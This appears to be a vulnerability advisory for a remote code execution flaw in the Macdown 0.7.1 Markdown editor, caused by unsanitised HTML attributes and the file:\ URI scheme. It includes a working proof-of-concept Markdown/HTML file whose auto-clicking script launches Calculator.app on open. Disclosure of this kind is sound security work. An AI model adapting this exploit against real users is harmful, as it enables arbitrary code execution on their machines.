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Descrizione
Macdown Version 0.7.1 (870) Remote Code Execution
Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS Calculator.app when opened inside of Macdown.
PoC (PoC.md):
<!DOCTYPE html>
<html>
<body>
<a href="file:\\\Applications\Calculator.app" id=exploit download>
<img src="/images/exploit.jpg" alt="exploit" width="104" height="142">
</a>
<script>
(function download() {
document.getElementById('exploit').click();
})()
</script>
</body>
</html>
Screenshot: